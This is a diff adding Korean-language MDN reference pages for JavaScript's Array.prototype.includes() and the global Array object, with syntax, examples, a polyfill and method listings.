+<div>{{EmbedInteractiveExample("pages/js/array-includes.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.includes(<em>valueToFind</em>[, <em>fromIndex</em>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">valueToFind</span></font></dt>
+ <dd>탐색할 요소.
+ <div class="blockIndicator note">
+ <p><strong>참고</strong>: 문자나 문자열을 비교할 때, <code>includes()</code>는 <strong>대소문자를 구분</strong>합니다.</p>
+ </div>
+ </dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>이 배열에서 searchElement 검색을 시작할 위치입니다. 음의 값은 array.length + fromIndex의 인덱스를 asc로 검색합니다. 기본값은 0입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Boolean")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">[1, 2, 3].includes(2); // true
+[1, 2, 3].includes(4); // false
+[1, 2, 3].includes(3, 3); // false
+[1, 2, 3].includes(3, -1); // true
+[1, 2, NaN].includes(NaN); // true
+</pre>
+
+<h3 id="fromIndex_가_배열의_길이보다_같거나_큰_경우"><code>fromIndex</code> 가 배열의 길이보다 같거나 큰 경우</h3>
+
+<p><code>fromIndex</code> 가 배열의 길이보다 같거나 크다면, <code>false</code> 를 반환합니다. 배열은 검색되지 않을 것입니다.</p>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+
+arr.includes('c', 3); // false
+arr.includes('c', 100); // false</pre>
+
+<h3 id="0보다_작은_인덱스의_계산">0보다 작은 인덱스의 계산</h3>
+
+<p><code>fromIndex</code> 가 음수라면, 이 계산된 인덱스는 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">valueToFind</span></font> 를 찾기 시작할 배열의 위치로 사용되기 위해 연산됩니다. 만약 계산된 인덱스가 <code>-1 * array.length</code> 보다 작거나 같다면, 전체 배열이 검색될 것입니다.</p>
+
+<pre class="brush: js">// array length is 3
+// fromIndex is -100
+// computed index is 3 + (-100) = -97
+
+var arr = ['a', 'b', 'c'];
+
+arr.includes('a', -100); // true
+arr.includes('b', -100); // true
+arr.includes('c', -100); // true
+arr.includes('a', -2); // false</pre>
+
+<h3 id="제네릭_메소드로_사용되는_includes">제네릭 메소드로 사용되는 <code>includes()</code></h3>
+
+<p><code>includes()</code> 메서드는 의도적으로 제네릭입니다. 배열 객체가 되기 위한 <code>this</code> 값을 요구하지 않아, 다른 종류의 객체에 적용될 수 있습니다 (e.g. 유사 배열 객체). 아래 예시는  이 함수의 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a> 객체로 호출되는 <code>includes()</code> 메소드를 보여줍니다.</p>
+
+<pre class="brush: js">(function() {
+ console.log([].includes.call(arguments, 'a')); // true
+ console.log([].includes.call(arguments, 'd')); // false
+})('a','b','c');</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js"><code>// https://tc39.github.io/ecma262/#sec-array.prototype.includes
+if (!Array.prototype.includes) {
+ Object.defineProperty(Array.prototype, 'includes', {
+ value: function(searchElement, fromIndex) {
+
+ if (this == null) {
+ throw new TypeError('"this" is null or not defined');
+ }
+
+ // 1. Let O be ? ToObject(this value).
+ var o = Object(this);
+
+ // 2. Let len be ? ToLength(? Get(O, "length")).
+ var len = o.length &gt;&gt;&gt; 0;
+
+ // 3. If len is 0, return false.
+ if (len === 0) {
+ return false;
+ }
+
+ // 4. Let n be ? ToInteger(fromIndex).
+ // (If fromIndex is undefined, this step produces the value 0.)
+ var n = fromIndex | 0;
+
+ // 5. If n ≥ 0, then
+ // a. Let k be n.
+ // 6. Else n &lt; 0,
+ // a. Let k be len + n.
+ // b. If k &lt; 0, let k be 0.
+ var k = Math.max(n &gt;= 0 ? n : len - Math.abs(n), 0);
+
+ function sameValueZero(x, y) {
+ return x === y || (typeof x === 'number' &amp;&amp; typeof y === 'number' &amp;&amp; isNaN(x) &amp;&amp; isNaN(y));
+ }
+
+ // 7. Repeat, while k &lt; len
+ while (k &lt; len) {
+ // a. Let elementK be the result of ? Get(O, ! ToString(k)).
+ // b. If SameValueZero(searchElement, elementK) is true, return true.
+ if (sameValueZero(o[k], searchElement)) {
+ return true;
+ }
+ // c. Increase k by 1.
+ k++;
+ }
+
+ // 8. Return false
+ return false;
+ }
+ });
+}</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+ <td>{{Spec2('ES7')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.includes")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/index.html b/files/ko/web/javascript/reference/global_objects/array/index.html
new file mode 100644
index 0000000000..4bb18af837
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/index.html
@@ -0,0 +1,493 @@
+---
+title: Array
+slug: Web/JavaScript/Reference/Global_Objects/Array
+tags:
+ - Array
+ - Example
+ - Global Objects
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array
+---
+<div>{{JSRef}}</div>
+
+<p>JavaScript <strong><code>Array</code></strong> 전역 객체는 배열을 생성할 때 사용하는 리스트 형태의 고수준 객체입니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>배열은 프로토타입으로 탐색과 변형 작업을 수행하는 메서드를 갖는, 리스트와 비슷한 객체입니다. JavaScript에서 배열의 길이와 요소의 자료형은 고정되어 있지 않습니다. 배열의 길이가 언제든지 늘어나거나 줄어들 수 있기 때문에 JavaScript 배열들은 밀집도가 보장되지 않습니다. 보통 이 성질은 편리하지만, 목적에 맞지 않는다면 형식화 배열(typed array)을 사용하는 것을 고려해보세요.</p>
+
+<p>배열은 요소 인덱스로 문자열(<a href="https://ko.wikipedia.org/wiki/%EC%97%B0%EA%B4%80_%EB%B0%B0%EC%97%B4">연관 배열</a>)을 사용할 수 없으며 무조건 정수만 허용합니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a>를 사용해 정수 외 키에 접근할 경우 배열 리스트의 요소가 아니라 배열 객체의 속성 변수를 설정하거나 회수합니다. 배열 객체의 속성과 배열 요소의 리스트의 요소는 서로 다른 별개의 항목으로, <a href="/ko/docs/Web/JavaScript/Guide/Indexed_collections#배열_객체의_메서드">순회 및 변형 작업</a>은 객체 속성에 적용되지 않습니다.</p>
+
+<h3 id="자주_사용하는_연산">자주 사용하는 연산</h3>
+
+<h4 id="배열_만들기">배열 만들기</h4>
+
+<pre class="brush: js">let fruits = ['사과', '바나나']
+
+console.log(fruits.length)
+// 2
+</pre>
+
+<h4 id="인덱스로_배열의_항목에_접근하기">인덱스로 배열의 항목에 접근하기</h4>
+
+<pre class="brush: js">let first = fruits[0]
+// 사과
+
+let last = fruits[fruits.length - 1]
+// 바나나
+</pre>
+
+<h4 id="배열의_항목들을_순환하며_처리하기">배열의 항목들을 순환하며 처리하기</h4>
+
+<pre class="brush: js">fruits.forEach(function (item, index, array) {
+ console.log(item, index)
+})
+// 사과 0
+// 바나나 1
+</pre>
+
+<h4 id="배열_끝에_항목_추가하기">배열 끝에 항목 추가하기</h4>
+
+<pre class="brush: js">let newLength = fruits.push('오렌지')
+// ["사과", "바나나", "오렌지"]
+</pre>
+
+<h4 id="배열_끝에서부터_항목_제거하기">배열 끝에서부터 항목 제거하기</h4>
+
+<pre class="brush: js">let last = fruits.pop() // 끝에있던 '오렌지'를 제거
+// ["사과", "바나나"]
+</pre>
+
+<h4 id="배열_앞에서부터_항목_제거하기">배열 앞에서부터 항목 제거하기</h4>
+
+<pre class="brush: js">let first = fruits.shift() // 제일 앞의 '사과'를 제거
+// ["바나나"]
+</pre>
+
+<h4 id="배열_앞에_항목_추가하기">배열 앞에 항목 추가하기</h4>
+
+<pre class="brush: js">let newLength = fruits.unshift('딸기') // 앞에 추가
+// ["딸기", "바나나"]
+</pre>
+
+<h4 id="배열_안_항목의_인덱스_찾기">배열 안 항목의 인덱스 찾기</h4>
+
+<pre class="brush: js">fruits.push('망고')
+// ["딸기", "바나나", "망고"]
+
+let pos = fruits.indexOf("바나나")
+// 1
+</pre>
+
+<h4 id="인덱스_위치에_있는_항목_제거하기">인덱스 위치에 있는 항목 제거하기</h4>
+
+<pre class="brush: js">let removedItem = fruits.splice(pos, 1) // 항목을 제거하는 방법
+
+// ["딸기", "망고"]
+</pre>
+
+<h4 id="인덱스_위치에서부터_여러개의_항목_제거하기">인덱스 위치에서부터 여러개의 항목 제거하기</h4>
+
+<pre class="brush: js">let vegetables = ['양배추', '순무', '무', '당근']
+console.log(vegetables)
+// ["양배추", "순무", "무", "당근"]
+
+let pos = 1
+let n = 2
+
+let removedItems = vegetables.splice(pos, n)
+// 배열에서 항목을 제거하는 방법
+// pos 인덱스부터 n개의 항목을 제거함
+
+console.log(vegetables)
+// ["양배추", "당근"] (원 배열 vegetables의 값이 변함)
+
+console.log(removedItems)
+// ["순무", "무"]
+</pre>
+
+<h4 id="배열_복사하기">배열 복사하기</h4>
+
+<pre class="brush: js">let shallowCopy = fruits.slice() // 사본을 만드는 방법
+// ["딸기", "망고"]
+</pre>
+
+<h3 id="배열_요소에_접근하기">배열 요소에 접근하기</h3>
+
+<p>JavaScript 배열의 인덱스는 0부터 시작합니다. 즉, 배열 첫 번째 요소의 인덱스는 0이고, 마지막 요소의 인덱스는 배열의 {{jsxref("Array.length", "length")}} 속성에서 1을 뺀 것과 같습니다.</p>
+
+<p>잘못된 인덱스를 사용하면 <code>undefined</code>를 반환합니다.</p>
+
+<pre class="brush: js">let arr = ['첫 번재 요소입니다', '두 번째 요소입니다', '마지막 요소입니다']
+console.log(arr[0]) // '첫 번재 요소입니다'를 기록
+console.log(arr[1]) // '두 번재 요소입니다'를 기록
+console.log(arr[arr.length - 1]) // '마지막 요소입니다'를 기록
+</pre>
+
+<p><code>toString</code>이 속성인 것과 마찬가지로(정확히 하자면, <code>toString()</code>은 메서드입니다) 배열의 요소도 속성입니다. 하지만 아래의 예시처럼 배열 요소에 접근하려 하면, 속성 이름이 유효하지 않기 때문에 구문 오류가 발생합니다.</p>
+
+<pre class="brush: js">console.log(arr.0) // 구문 오류
+</pre>
+
+<p>이 점에는 JavaScript 배열과 속성에 특별한 점이 없습니다. 숫자로 시작하는 JavaScript 속성은 마침표 구문으로 접근할 수 없으며, 반드시 괄호 표기법으로 접근해야 합니다.</p>
+
+<p>예를 들어 <code>'3d'</code>라는 이름의 속성을 가진 객체에서 해당 속성에 접근할 땐 괄호 표기법을 사용해야만 합니다.</p>
+
+<pre class="brush: js">let years = [1950, 1960, 1970, 1980, 1990, 2000, 2010]
+console.log(years.0) // 구문 오류
+console.log(years[0]) // 정상 작동
+</pre>
+
+<pre class="brush: js">renderer.3d.setTexture(model, 'character.png') // 구문 오류
+renderer['3d'].setTexture(model, 'character.png') // 정상 작동
+</pre>
+
+<p><code>3d</code> 예시에서 <code>'3d'</code>를 따옴표로 감싸야 함에 유의하세요. JavaScript 배열 인덱스도 따옴표로 둘러쌀 수는 있지만(<code>years[2]</code> 대신에 <code>years['2']</code>처럼), 굳이 필요하지는 않습니다.</p>
+
+<p><code>years[2]</code>의 2는 JavaScript 엔진이 암시적인 <code>toString</code> 변환을 사용해 문자열로 변환합니다. 그 결과로서 <code>'2'</code>와 <code>'02'</code>는 <code>years</code> 객체에서 서로 다른 칸을 가리키며, 다음 코드는 <code>true</code>가 될 수 있습니다.</p>
+
+<pre class="brush: js">console.log(years['2'] != years['02']);
+</pre>
+
+<h3 id="length_와_숫자형_속성의_관계"><code>length</code> 와 숫자형 속성의 관계</h3>
+
+<p>JavaScript 배열의 {{jsxref("Array.length", "length")}} 속성과 숫자형 속성은 연결되어 있습니다.</p>
+
+<p>몇몇 배열 내장 메서드({{jsxref("Array.join", "join")}}, {{jsxref("Array.slice", "slice")}}, {{jsxref("Array.indexOf", "indexOf")}} 등)은 호출했을 때 배열의 {{jsxref("Array.length", "length")}} 속성의 값을 참조합니다.</p>
+
+<p>다른 메서드({{jsxref("Array.push", "push")}}, {{jsxref("Array.splice", "splice")}} 등) 또한 배열의 {{jsxref("Array.length", "length")}} 속성의 업데이트를 유발합니다.</p>
+
+<pre class="brush: js">const fruits = []
+fruits.push('banana', 'apple', 'peach')
+
+console.log(fruits.length) // 3
+</pre>
+
+<p>JavaScript 배열의 속성을 설정할 때 그 속성이 유효한 배열 인덱스이고 그 인덱스가 현재 배열의 경계를 넘어간다면, JavaScript 엔진은 배열의 {{jsxref("Array.length", "length")}} 속성을 그에 맞춰 업데이트 합니다.</p>
+
+<pre class="brush: js">fruits[5] = 'mango'
+console.log(fruits[5]) // 'mango'
+console.log(Object.keys(fruits)) // ['0', '1', '2', '5']
+console.log(fruits.length) // 6
+</pre>
+
+<p>{{jsxref("Array.length", "length")}}를 직접 늘릴 수 있습니다.</p>
+
+<pre class="brush: js">fruits.length = 10;
+console.log(Object.keys(fruits)); // ['0', '1', '2', '5']
+console.log(fruits.length); // 10
+</pre>
+
+<p>하지만, {{jsxref("Array.length", "length")}} 속성을 감소시키면 요소를 지웁니다.</p>
+
+<pre class="brush: js">fruits.length = 2
+console.log(Object.keys(fruits)) // ['0', '1']
+console.log(fruits.length) // 2
+</pre>
+
+<p>{{jsxref("Array.length")}} 문서에 더 자세한 설명이 있습니다.</p>
+
+<h3 id="매치_결과를_이용한_배열_생성">매치 결과를 이용한 배열 생성</h3>
+
+<p>정규표현식과 문자열 사이의 매치 결과로 JavaScript 배열을 만들 수 있습니다. 이 배열은 매치에 대한 정보를 제공하는 속성들과 요소들을 가집니다. 이러한 배열은 {{jsxref("RegExp.exec")}}, {{jsxref("String.match")}}, {{jsxref("String.replace")}}로부터 반환됩니다. 이 속성들과 요소들에 대한 설명을 돕기위해, 다음 예제를 보고 아래 테이블을 참조해주세요.</p>
+
+<pre class="brush: js">// 하나의 d와 하나 이상의 b에 하나의 d가 뒤따라 일치해야 합니다.
+// 일치한 b와 다음 d를 기억하십시오.
+// 대소문자 구분은 무시됩니다.
+
+var myRe = /d(b+)(d)/i;
+var myArray = myRe.exec('cdbBdbsbz');
+</pre>
+
+<p>매치로부터 반환되는 속성들과 요소들은 다음과 같습니다:</p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+ <tr>
+ <td class="header">속성/요소</td>
+ <td class="header">설명</td>
+ <td class="header">예시</td>
+ </tr>
+ <tr>
+ <td><code>input </code> {{ReadOnlyInline}}</td>
+ <td>정규 표현식과 일치시키는 원본 문자열을 나타내는 읽기 전용 속성입니다.</td>
+ <td><code>"cdbBdbsbz"</code></td>
+ </tr>
+ <tr>
+ <td><code>index </code> {{ReadOnlyInline}}</td>
+ <td>원본 문자열에서 정규 표현식이 처음 일치하는 문자열의 위치(원본 문자열의 첫 문자 위치를 0으로 하는)를 나타내는 읽기 전용 속성입니다.</td>
+ <td><code>1</code></td>
+ </tr>
+ <tr>
+ <td><code>[0]</code> {{ReadOnlyInline}}</td>
+ <td>원본 문자열에서 정규 표현식이 처음 일치하는 문자열을 지정하는 읽기 전용 요소입니다.</td>
+ <td><code>"dbBd"</code></td>
+ </tr>
+ <tr>
+ <td><code>[1], ...[n] </code> {{ReadOnlyInline}}</td>
+ <td>만약 정규 표현식에 괄호가 포함돼 있다면 괄호에 일치하는 부분 문자열을 나타내는 읽기 전용 요소들입니다. 가능한 괄호 안의 부분 문자열의 수는 무제한입니다.</td>
+ <td><code>[1]: bB</code><br>
+ <code>[2]: d</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("Array.Array", "Array()")}}</dt>
+ <dd><code>Array</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="정적_속성">정적 속성</h2>
+
+<dl>
+ <dt><code>Array.length</code></dt>
+ <dd>값이 1인 <code>Array</code> 생성자의 길이 속성입니다.</dd>
+ <dt>{{jsxref("Array.@@species", "get Array[@@species]")}}</dt>
+ <dd>파생 객체를 생성하는데 사용하는 생성자 함수입니다.</dd>
+</dl>
+
+<h2 id="정적_메서드">정적 메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Array.from()")}}</dt>
+ <dd>유사 배열 또는 반복 가능한 객체로부터 새로운 <code>Array</code> 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("Array.isArray()")}}</dt>
+ <dd>만약 변수가 배열이면 참을, 아니면 거짓을 반환합니다.</dd>
+ <dt>{{jsxref("Array.of()")}}</dt>
+ <dd>전달인자의 개수나 데이터 타입에 관계없이 새 <code>Array</code> 인스턴스를 생성합니다.</dd>
+</dl>
+
+<h2 id="Array_인스턴스"><code>Array</code> 인스턴스</h2>
+
+<p>모든 <code>Array</code> 인스턴스는 <code>Array.prototype</code>을 상속합니다. 다른 생성자와 마찬가지로, <code>Array()</code> 생성자의 프로토타입을 수정하면 모든 <code>Array</code> 인스턴스도 수정의 영향을 받습니다. 예를 들면, 새로운 메서드와 속성을 추가해 모든 <code>Array</code>를 확장할 수 있으므로, {{glossary("polyfill", "폴리필")}}에 쓰입니다.</p>
+
+<p>그러나 배열 객체에 비표준 메서드를 추가하면 나중에 스스로, 혹은 <a href="https://developers.google.com/web/updates/2018/03/smooshgate">JavaScript에 기능이 추가</a>될 경우 문제가 될 수 있습니다.</p>
+
+<p>잘 모를 법한 사실: <code>Array.prototype</code>은 그 스스로 <code>Array</code>입니다.</p>
+
+<pre class="brush: js">Array.isArray(Array.prototype) // true</pre>
+
+<h2 id="인스턴스_속성">인스턴스 속성</h2>
+
+<div>
+<dl>
+ <dt><code>Array.prototype.constructor</code></dt>
+ <dd>객체의 프로토타입을 생성하는 함수를 지정합니다.</dd>
+ <dt>{{jsxref("Array.prototype.length")}}</dt>
+ <dd>배열의 원소 수를 나타냅니다.</dd>
+ <dt>{{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}</dt>
+ <dd>{{jsxref("Statements/with", "with")}} 결속 범위로부터 제외하려는 속성 이름이 들어있는 기호입니다.</dd>
+</dl>
+</div>
+
+<h2 id="인스턴스_메서드">인스턴스 메서드</h2>
+
+<h4 id="변경자_메서드">변경자 메서드</h4>
+
+<div>
+<p>변경자 메서드는 배열을 수정합니다.</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.copyWithin()")}}</dt>
+ <dd>배열 내의 지정된 요소들을 동일한 배열 내에서 복사합니다.</dd>
+ <dt>{{jsxref("Array.prototype.fill()")}}</dt>
+ <dd>배열 안의 시작 인덱스부터 끝 인덱스까지의 요소값을 지정된 정적 값으로 채웁니다.</dd>
+ <dt>{{jsxref("Array.prototype.pop()")}}</dt>
+ <dd>배열에서 마지막 요소를 뽑아내고, 그 요소를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.push()")}}</dt>
+ <dd>배열의 끝에 하나 이상의 요소를 추가하고, 변경된 배열의 길이를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.reverse()")}}</dt>
+ <dd>배열의 요소 순서를 반전시킵니다. 첫 번째가 마지막이 되고 마지막이 첫 번째가 됩니다.</dd>
+ <dt>{{jsxref("Array.prototype.shift()")}}</dt>
+ <dd>배열에서 첫 번째 요소를 삭제하고 그 요소를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.sort()")}}</dt>
+ <dd>배열의 요소를 정렬하고 그 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.splice()")}}</dt>
+ <dd>배열에서 요소를 추가/삭제합니다.</dd>
+ <dt>{{jsxref("Array.prototype.unshift()")}}</dt>
+ <dd>배열의 앞에 하나 이상의 요소를 추가하고 새로운 길이를 반환합니다.</dd>
+</dl>
+</div>
+
+<h4 id="접근자_메서드">접근자 메서드</h4>
+
+<div>
+<p>접근자 메서드는 배열을 수정하지 않고, 기존 배열의 일부에 기반한 새로운 배열 또는 값을 반환합니다.</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.concat()")}}</dt>
+ <dd>배열을 매개변수로 주어진 배열/값과 이어붙인 새로운 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.filter()")}}</dt>
+ <dd>지정한 콜백의 반환 결과가 <code>true</code>인 요소만 모은 새로운 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.includes()")}}</dt>
+ <dd>배열이 주어진 값을 포함하는지 판별해 <code>true</code> 또는 <code>false</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.indexOf()")}}</dt>
+ <dd>배열에서 주어진 값과 일치하는 제일 앞의 인덱스를 반환합니다. 없으면 <code>-1</code>을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.join()")}}</dt>
+ <dd>배열의 모든 요소를 문자열로 합칩니다.</dd>
+ <dt>{{jsxref("Array.prototype.lastIndexOf()")}}</dt>
+ <dd>배열에서 주어진 값과 일치하는 제일 뒤의 인덱스를 반환합니다. 없으면 <code>-1</code>을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.slice()")}}</dt>
+ <dd>배열의 일부를 추출한 새 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>지정한 배열을 나타내는 배열 리터럴을 반환합니다. 새로운 배열을 만들기 위해 이 값을 사용할 수 있습니다. {{jsxref("Object.prototype.toSource()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("Array.prototype.toString()")}}</dt>
+ <dd>배열과 그 요소를 나타내는 문자열을 반환합니다. {{jsxref("Object.prototype.toString()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("Array.prototype.toLocaleString()")}}</dt>
+ <dd>배열과 그 요소를 나타내는 지역화된 문자열을 반환합니다. {{jsxref("Object.prototype.toLocaleString()")}} 메서드를 재정의합니다.</dd>
+</dl>
+</div>
+
+<h4 id="순회_메서드">순회 메서드</h4>
+
+<p>배열을 처리하면서 호출할 콜백 함수를 받는 메서드 여럿이 존재합니다. 이런 메서드를 호출하면 배열의 <code>length</code>를 기억하므로, 아직 순회를 끝내지 않았을 때 요소를 더 추가하면 콜백이 방문하지 않습니다.</p>
+
+<p>요소의 값을 바꾸거나, 요소를 제거하는 등 다른 변경점은 콜백 방문 시점에 따라 최종 값에 영향을 줄 수 있습니다. 비록 이런 동작 방식은 잘 정의되어 있으나, 여러분의 코드를 다른 사람이 읽을 때 헷갈리지 않도록 여기에 의존하면 안됩니다.</p>
+
+<p>반드시 배열을 변형해야 한다면, 새로운 배열로 복사하세요.</p>
+
+<div>
+<dl>
+ <dt>{{jsxref("Array.prototype.entries()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 키/값 쌍을 포함하는 새로운 배열 반복자 객체를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.every()")}}</dt>
+ <dd>배열의 모든 요소가 주어진 판별 콜백을 만족할 경우 <code>true</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.find()")}}</dt>
+ <dd>주어진 판별 콜백을 만족하는 첫 번째 요소를 반환합니다. 만족하는 요소가 없으면 <code>undefined</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.findIndex()")}}</dt>
+ <dd>주어진 판별 콜백을 만족하는 첫 번째 요소의 인덱스를 반환합니다. 만족하는 요소가 없으면 <code>undefined</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.forEach()")}}</dt>
+ <dd>배열의 각각의 요소에 대해 콜백을 호출합니다.</dd>
+ <dt>{{jsxref("Array.prototype.keys()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 키를 가지는 새로운 배열 반복자 객체를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.map()")}}</dt>
+ <dd>배열의 모든 요소 각각에 대하여 주어진 콜백 함수를 호출하고, 그 반환값을 모은 새로운 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.reduce()")}}</dt>
+ <dd><span class="short_text" id="result_box" lang="ko"><span>주어진 콜백 함수를 가산기와 요소 각각에 대해 왼쪽에서 오른쪽으로 호출하여 하나의 값으로 줄인(reduce) 결과를 반환합니다.</span></span></dd>
+ <dt>{{jsxref("Array.prototype.reduceRight()")}}</dt>
+ <dd><span class="short_text" id="result_box" lang="ko"><span>주어진 콜백 함수를 가산기와 요소 각각에 대해 오른쪽에서 왼쪽으로 호출하여 하나의 값으로 줄인(reduce) 결과를 반환합니다.</span></span></dd>
+ <dt>{{jsxref("Array.prototype.some()")}}</dt>
+ <dd>배열의 어떤 요소가 주어진 판별 콜백을 만족할 경우 <code>true</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.values()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 값을 가지는 새로운 배열 반복자 객체를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 값을 가지는 새로운 배열 반복자 객체를 반환합니다.</dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열_생성">배열 생성</h3>
+
+<p>아래 예제는 길이 0의 배열 <code>msgArray</code> 을 생성하고, <code>msgArray[0]</code> 와 <code>msgArray[99]</code> 에 값을 할당하여, 배열의 길이를 100으로 변경합니다.</p>
+
+<pre class="brush: js">let msgArray = []
+msgArray[0] = 'Hello'
+msgArray[99] = 'world'
+
+if (msgArray.length === 100) {
+ console.log('The length is 100.')
+}</pre>
+
+<h3 id="2차원_배열_생성">2차원 배열 생성</h3>
+
+<p>아래의 예제는 2차원 문자열 배열로 체스보드를 생성합니다. 첫번째 이동은 (6,4)의 'p'를 (4,4)로 복사하여 이루어집니다. 이전 위치 (6,4)는 빈공간으로 만듭니다.</p>
+
+<pre class="brush: js">let board = [
+ ['R','N','B','Q','K','B','N','R'],
+ ['P','P','P','P','P','P','P','P'],
+ [' ',' ',' ',' ',' ',' ',' ',' '],
+ [' ',' ',' ',' ',' ',' ',' ',' '],
+ [' ',' ',' ',' ',' ',' ',' ',' '],
+ [' ',' ',' ',' ',' ',' ',' ',' '],
+ ['p','p','p','p','p','p','p','p'],
+ ['r','n','b','q','k','b','n','r'] ]
+
+console.log(board.join('\n') + '\n\n')
+
+// Move King's Pawn forward 2
+board[4][4] = board[6][4]
+board[6][4] = ' '
+console.log(board.join('\n'))</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<pre class="eval">R,N,B,Q,K,B,N,R
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+p,p,p,p,p,p,p,p
+r,n,b,q,k,b,n,r
+
+R,N,B,Q,K,B,N,R
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , ,p, , ,
+ , , , , , , ,
+p,p,p,p, ,p,p,p
+r,n,b,q,k,b,n,r
+</pre>
+
+<h3 id="배열을_사용하여_일련의_값을_테이블처럼_표시하기">배열을 사용하여 일련의 값을 테이블처럼 표시하기</h3>
+
+<pre class="brush: js">const values = []
+for (let x = 0; x &lt; 10; x++){
+ values.push([
+ 2 ** x,
+ 2 * x ** 2
+ ])
+}
+console.table(values)</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<pre class="eval line-numbers language-html">0 1 0
+1 2 2
+2 4 8
+3 8 18
+4 16 32
+5 32 50
+6 64 72
+7 128 98
+8 256 128
+9 512 162
+</pre>
+
+<p>(첫번째 열은 (인덱스))</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Initial publication</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array-objects', 'Array')}}</td>
+ <td>ECMAScript 1</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Indexing_object_properties">JavaScript Guide: “Indexing object properties”</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Predefined_Core_Objects#Array_Object">JavaScript Guide: “Predefined Core Objects: <code>Array</code> Object”</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions">Array comprehensions</a></li>
+ <li><a href="https://github.com/plusdude/array-generics">Polyfill for JavaScript 1.8.5 Array Generics and ECMAScript 5 Array Extras</a></li>
+ <li><a href="/en-US/docs/JavaScript_typed_arrays">Typed Arrays</a></li>
+</ul>
